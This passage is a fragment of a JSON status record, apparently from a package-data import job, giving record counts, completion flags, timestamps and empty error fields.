counts","generation":"npm-3c15e3b4b3da393566ac7be69c095bef52c252ec437d24c4c6ea68ed9e4af0f5","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T07:54:57.8931777+00:00","lastSuccessAt":"2026-11-12T07:54:56.4668314+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:57.8931777+00:00","snapshotPublishedAt":"2026-11-12T07:33:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}